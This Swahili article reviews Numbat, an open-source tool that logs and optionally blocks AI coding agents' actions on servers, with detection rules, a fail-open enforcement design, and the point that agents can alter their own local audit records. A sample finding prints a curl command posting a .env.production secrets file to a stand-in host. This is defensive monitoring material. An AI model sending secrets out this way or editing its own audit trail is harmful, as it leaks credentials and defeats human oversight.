Numbat: Fuatilia AI Agent Inachofanya Kwenye Seva
Perplexity ilitoa Numbat kama open source: hurekodi vitendo halisi vya AI coding agents kwenye seva, lakini haizuii kila kitendo wanachofanya.
Numbat ni nini
Numbat hukupa mwonekano wa vitendo ambavyo AI agent ilifanya kwenye mashine unayomiliki. Husoma hook callbacks na session files ambazo coding agents tayari hutengeneza, huzisanifisha ziwe katika event format moja, kisha huzilinganisha na rules zinazotekelezwa inapogundua tabia kama kusoma SSH private key au kuelekeza download moja kwa moja kwenye shell. Perplexity iliitoa kama open source chini ya Apache 2.0, ikiwa na first tagged release tarehe 29 July 2026.
Kila kitu hapa chini kimetokana na repository ya mradi na documentation yake, zilizosomwa tarehe 2 August 2026. Perplexity inapotoa dai, makala hii hulitaja hivyo. Huu si mwongozo wa usakinishaji, kwa sababu repository hii ina siku chache tu na commands zake zitabadilika.
Tatizo: hakuna anayeandika kile agent ilichofanya
Agent wa coding kwenye VPS yako huendesha shell commands, husoma files, huandika files na hufungua network connections, yote kwa kutumia user uliyemkabidhi. Shell history yako hainakili shughuli hizo, kwa sababu agent haandiki kwenye shell yako. sshd huweka log ya login yako tu, bila kurekodi chochote ambacho model iliamua kufanya baadaye. /var/log/auth.log hubaki kimya isipokuwa kitu kilipojaribu kufikia sudo. Agent huhifadhi transcript yake, lakini file hiyo iko kwenye session directory ya agent, format yake hubadilika kati ya releases, na process ya agent yenyewe inaweza kuiandika.
Kwa hiyo mtu akiuliza kama agent ilisoma .env.production Jumanne iliyopita, jibu la kweli kwenye seva nyingi ni kwamba huwezi kujua. Pengo hilo ndilo sababu ya kuwepo kwa mradi huu.
Perplexity inadai Numbat hufanya nini
README inaanza kwa kueleza zana hii kama “mwonekano wa shughuli za AI agent kwenye endpoint, ikiwa na utambuzi wa ndani, kuzuia hiari kabla ya kitendo, na uundaji upya wa kiuchunguzi”. Hapa, endpoint inamaanisha mashine ambayo agent inaendesha, si kifaa cha mtandao kinachofuatilia kutoka nje. Hizi ni uwezo tofauti, na kila mmoja una uzito wake.
Utambuzi hufanyika kwenye kifaa. Rules huandikwa katika CEL (common expression language) na kutathminiwa ndani ya kifaa. Kuna pia rules za mfuatano zenye hatua nyingi, pamoja na usaidizi wa rules zako katika YAML. Hakuna data inayolazimika kuondoka kwenye mashine ili rule itekelezwe.
Kuzuia ni hiari na kuna mipaka. Hufanya kazi kupitia synchronous pre-action hooks pekee, kwenye agents zinazotoa hook hiyo, na huwa kumezimwa hadi ukiwashe.
Uundaji upya hufanyika baada ya tukio. numbat scan huchanganua session artifacts ambazo agent tayari iliandika kwenye disk, kwa hiyo unaweza kuchunguza shughuli za kabla ya kusakinisha chochote. Mradi unaweka kikomo wazi kwa dai hilo: “Uundaji upya wa data iliyohifadhiwa si disk au memory acquisition, na hauwezi kurejesha shughuli ambazo agent hakuzihifadhi.”
Output ina muundo wa NDJSON wenye version (newline delimited JSON), unaojumuisha events, findings, enforcement decisions, indicators na scan summaries, katika schema version 0.2.0 kufikia v0.1.2. Records huandikwa kwenye stdout au faili ya ndani, na kwa hiari hutumwa kupitia HTTP kwa collector unayoiendesha. Husambazwa kama Go binary moja tuli iliyojengwa bila cgo, kwa macOS, Linux na Windows kwenye amd64 na arm64. Kwa hiyo, kwenye Linux VPS ni faili moja tu, bila runtime ya kusakinisha kwanza.
Ni mawakala gani ambao Numbat inaweza kuwaona kweli?
Jedwali la uoanifu katika docs/agent-coverage.md ndilo orodha yenye mamlaka, na lina viwango tofauti vya usaidizi. Mradi unaeleza hilo wazi badala ya kulificha. Claude Code, Codex, Gemini CLI, Cursor na GitHub Copilot CLI zina uchanganuzi wa artifacts pamoja na kunasa data moja kwa moja kwa kutumia pre-action hook. OpenClaw hupata plugin asilia kuanzia toleo la 2026.7.1. Maingizo mengi yamewekwa alama ya deferred. Hii inamaanisha kuwa njia ya live hook ipo, lakini parser ya artifacts haipo. Mara nyingi sababu ni kwamba agent huyo huhifadhi historia yake katika SQLite yenye write-ahead log ambayo si salama kusomwa agent anapokuwa anaendesha. OpenCode na Cline zilikuwa katika kundi hilo wakati jedwali liliposomwa tarehe 2 August 2026.
Kagua safu ya agent wako kabla ya kupanga chochote kwa kutumia tool hii, kwa sababu neno "supported" lina maana tofauti karibu katika kila safu.
Detection inaonekanaje
Rules huwa na ids zinazoonyesha kazi zake. secrets.read_private_key huchunguza SSH key, AWS credentials, kube config au login ya package registry. exec.download_pipe_shell huwashwa wakati matokeo ya curl au wget yanapelekwa kwa pipe kwenye interpreter. privilege.elevated_shell hugundua ombi la interactive root shell kupitia sudo, doas, su au pkexec. impact.cryptomining_launch hulingana na majina yanayojulikana ya miner binaries na images.
Sequence rules huunganisha matukio ndani ya session moja. chain.secret_read_then_egress huhitaji faili ya siri isomwe, kisha ifuatwe na command inayotuma data kwenda nje. README inaonyesha finding iliyo hapa chini kutoka kwenye replay iliyodhibitiwa ya Claude Code pre-action callbacks mbili, si kutoka kwenye tukio halisi la usalama. Hapa imepunguzwa hadi kwenye fields muhimu:
{
"record_type": "finding",
"rule_id": "chain.secret_read_then_egress",
"rule_version": "1.4",
"severity": "high",
"confidence": "medium",
"title": "Secret-file access followed by data-bearing egress",
"observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
"source_agent": "claude-code",
"source_type": "hook",
"tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}Zingatia "confidence": "medium" iliyo ndani ya record, na uzingatie maelezo ya project kuhusu aina hii yote ya output: "Findings are rule matches, not proof of compromise." Deploy script inayosoma key kisha kupakia build artifact italingana na sequence rule hiyo hiyo. Match ni sahihi, lakini alarm si sahihi. Hiyo ndiyo hali ya kawaida ya kila detection tool uliyowahi kuendesha.
Kuzuia kumezimwa kwa chaguo-msingi, na mfumo hushindwa kwa kuruhusu
Kila rule inayotolewa na Numbat ni ya ufuatiliaji pekee. Kuibadilisha kuwa ya kuzuia kunahitaji hatua za makusudi: nakili YAML kamili ya rule hiyo kwenye directory yako, tumia id ileile, ongeza enforce: true, ongeza version, kisha ithibitishe na usakinishe policy hiyo.
numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
--rules-dir ./numbat-policy --enforceSasa tuangalie sehemu inayoamua kiwango cha kuitegemea. Deny ya Numbat ni jibu linalorudishwa kwa agent, na agent ndiye anayekataa tool call. Mwongozo wa enforcement unaeleza wazi kinachotokea Numbat yenyewe inapopata tatizo: "Payload zilizo na muundo usio sahihi, evaluation errors zinazohusika, panic, na output failures hukandamiza numbat deny." Input ya hook ina kikomo cha 4 MiB, na input inayozidi kikomo hicho hupitia njia hiyo hiyo.
Mwongozo pia unaeleza wazi kikomo cha deny inayofika: "Fail-open inamaanisha numbat inazuia kutuma jibu lake la deny. Haihakikishi kuwa tool itatekelezwa: host bado inaweza kuonyesha prompt, kukataa, kuisha kwa timeout, au kutumia hook au policy nyingine."
Kwa hiyo, enforcement hapa ni guardrail, si boundary. Mchakato uki-crash, Numbat haizuii action hiyo, kwa sababu monitor inayomfanya agent wako isimame kila inapopata tatizo huondolewa ndani ya wiki moja. Huo ni uwiano unaokubalika. Usijenge security model inayodhani kuwa deny itafika kila wakati.
Numbat inalingana vipi na unachofanya tayari
Numbat huendesha kwenye endpoint, ndani ya process tree ya agent yenyewe, na huandika kwenye ~/.numbat/records.ndjson kwa chaguo-msingi. Agent anayeendesha kama user wako anaweza kusoma faili hilo. Anaweza pia kulihariri. Audit trail ina thamani sawa tu na isolation inayolilinda. Hivyo, controls zote ulizo nazo tayari zinapaswa kuwekwa mbele ya hii, si nyuma yake.
Kumpa coding agent VM ya muda huweka mipaka ya kile ambacho run hatari inaweza kufikia. Kutumia user wa least privilege kwenye VPS humzuia agent kufungua faili ambazo hana sababu ya kufungua. Kuweka credentials nje ya context ya agent ndiko kunakofanya secrets.read_private_key itokee mara chache kiasi cha kuifanya iwe na thamani ya kuchunguzwa inapotokea. Na sandbox uliyoweka kwa Claude Code kwenye VPS bado ndiyo inayoweka containment.
Numbat huongeza record. Kwa hiyo, tuma record hiyo mahali ambapo agent hawezi kufikia. numbat ship na HTTP sink vimekusudiwa kwa hilo. Nakala ya stream kwenye mashine ya pili ndiyo tofauti kati ya log file na evidence. Event model pia hubeba sehemu za MCP (model context protocol). Hivyo, tool calls zinazotoka kupitia MCP server unayoendesha kwenye VPS huingia kwenye stream moja na local shell commands. Hili ni muhimu kwa sababu njia hiyo haionekani kwa chochote kinachofuatilia bash pekee.
Ijaribu katika hali ya kusoma tu kwanza
Sakinisha toleo lililobainishwa. Go 1.26.5 au jipya zaidi linahitajika kwa go install, na ukurasa wa releases una binary zilizotengenezwa tayari pamoja na checksum za SHA-256 ikiwa hutaki kujenga kutoka kwenye source.
go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scannumbat agents hutambua agents zilizosakinishwa kwenye seva. numbat scan huchanganua session artifacts ambazo tayari ziko kwenye disk na kuchapisha records. README inaeleza kuwa amri hizi "hazisakinishi hooks wala kubadilisha usanidi wa agent", na kwamba numbat "haiwahi kutekeleza agents au commands zinazopatikana kwenye artifacts, na hutuma requests za nje kwenye HTTP sinks zilizosanidiwa tu". Uchanganuzi ni wa kusoma tu na huficha secrets, na output ya kawaida ya records haiwahi kujumuisha transcript kamili ya awali.
Live capture ndiyo hatua inayofuata, na hubadilisha usanidi wa agent:
numbat hook install --agent codex --emit all
numbat hook status --agent codex--emit all huandika events, findings, indicators na enforcement decisions zinazotumika kwenye ~/.numbat/records.ndjson. Tahadhari mbili zinatokana moja kwa moja na mradi. Hooks zinaweza kuhitaji kuaminiwa ndani ya agent kabla hazijaanza kufanya kazi, na uaminifu huo unapaswa kukaguliwa tena baada ya kubadilisha flags kama --enforce. Pia, hook status "huthibitisha usanidi, si utekelezaji au uwasilishaji", kwa hiyo status line inayoonyesha hali nzuri si uthibitisho kwamba records zinafika mahali popote.
Kwa nini hazina hii mpya si dependency
Releases za umma ni v0.1.1 za 29 July 2026 na v0.1.2 za 1 August 2026. Hazina ilikuwa na stars 597 wakati makala hii iliandikwa tarehe 2 August 2026. Nambari zinazoongezeka kwa kasi hiyo zinaonyesha ukubwa wa hadhira ya Perplexity, si uimara wa code. Star ina maana mtu amehifadhi ukurasa ili autazame baadaye.
Nambari ya version inaonyesha kwa uaminifu hatua ambayo mradi huu umefikia. Maelezo ya v0.1.2 yanahusu hasa marekebisho ya kuficha credentials, pamoja na kazi ya kusawazisha case bundle na telemetry. Bugs za redaction ndizo kasoro zinazotarajiwa katika hatua za mwanzo za tool inayosoma transcripts za programu nyingine kwa usalama. Bugs zaidi zitatokea, kwa sababu data ya kuingiza inatoka kwa agents kadhaa, na kila agent hubadilisha format yake kwa ratiba yake.
Sheria mbili za kiutendaji zinafuata. Weka tag maalum, kamwe @latest, katika chochote unachohifadhi. Pia ichukulie kama instrument unayoifanyia evaluation, si control unayoitegemea, angalau hadi schema ya record ikome kubadilika.
FAQ
Je, Numbat huzuia amri hatari za mawakala wa AI?
Ni ikiwa tu umechagua kuwezesha hilo, na hata hivyo hufanyika kwa juhudi zinazofaa. Kila sheria inayotolewa na Numbat huwa ya ufuatiliaji pekee. Ili kuzuia, nakili YAML ya sheria hiyo kwenye saraka yako mwenyewe, hifadhi id yake, ongeza enforce: true, ongeza nambari ya toleo, kisha sakinisha hook kwa kutumia --enforce. Hata hivyo, deny huwa jibu linalorudishwa kwa agent, na agent ndiye anayekataa mwito huo. Mradi unaeleza tabia ya fail-open: payload zilizoharibika, makosa ya tathmini, panic na kushindwa kwa output vyote hukandamiza deny. Itumie kama guardrail, si kama boundary yako pekee.
Numbat inaunga mkono mawakala gani wa AI?
Uwezo hutofautiana kulingana na agent na umeorodheshwa katika docs/agent-coverage.md kwenye repository. Claude Code, Codex, Gemini CLI, Cursor na GitHub Copilot CLI zilikuwa na artifact scanning na live capture wakati ukurasa huo uliposomwa tarehe 2 August 2026, na OpenClaw ina plugin asilia kuanzia version 2026.7.1. Mawakala wengine wengi wameorodheshwa wakiwa na live hook path lakini bado hawana artifact parser, kwa kawaida kwa sababu historia ya session yao iko kwenye database ya SQLite ambayo si salama kuisoma agent anapokuwa anaendesha. Soma mstari wa agent yako, kwa sababu neno "supported" linajumuisha viwango kadhaa tofauti hapo.
Je, agent anaweza kuchezachezea records za Numbat?
Ndiyo, ikiwa anaendesha kama user yuleyule. Records huhifadhiwa kwa chaguo-msingi kwenye ~/.numbat/records.ndjson kwenye mashine ileile na agent, kwa hiyo kitu chochote chenye ruhusa ya kuandika kwenye path hiyo kinaweza kuzibadilisha au kuzifuta. Tuma stream kwenye collector ambayo agent hawezi kuifikia, kwa kutumia numbat ship au HTTP sink, na uhifadhi local file kama nakala ya urahisi. Hii pia ndiyo sababu tool hii hukamilisha isolation badala ya kuibadilisha. Agent aliyefungiwa ndani ya VM ya muda chini ya user mwenye least privilege ana uwezo mdogo zaidi wa kufikia audit trail yake mwenyewe.
Je, Numbat iko tayari kwa production server?
Si kama control unayotegemea. Public release ya kwanza ilikuwa v0.1.1 tarehe 29 July 2026, na v0.1.2 ilifuata tarehe 1 August 2026, kwa hiyo flags na record schema bado vinabadilika. Kuendesha numbat agents na numbat scan kwenye box ni read-only na kuna risk ndogo, na kutakuonyesha kile ambacho mawakala wako wamekuwa wakiacha kwenye disk. Kusanikisha enforcement hooks kwenye server muhimu ni uamuzi tofauti, na kunahitaji pinned tag pamoja na mpango wa kitakachotokea hook inapofanya kazi isivyotarajiwa.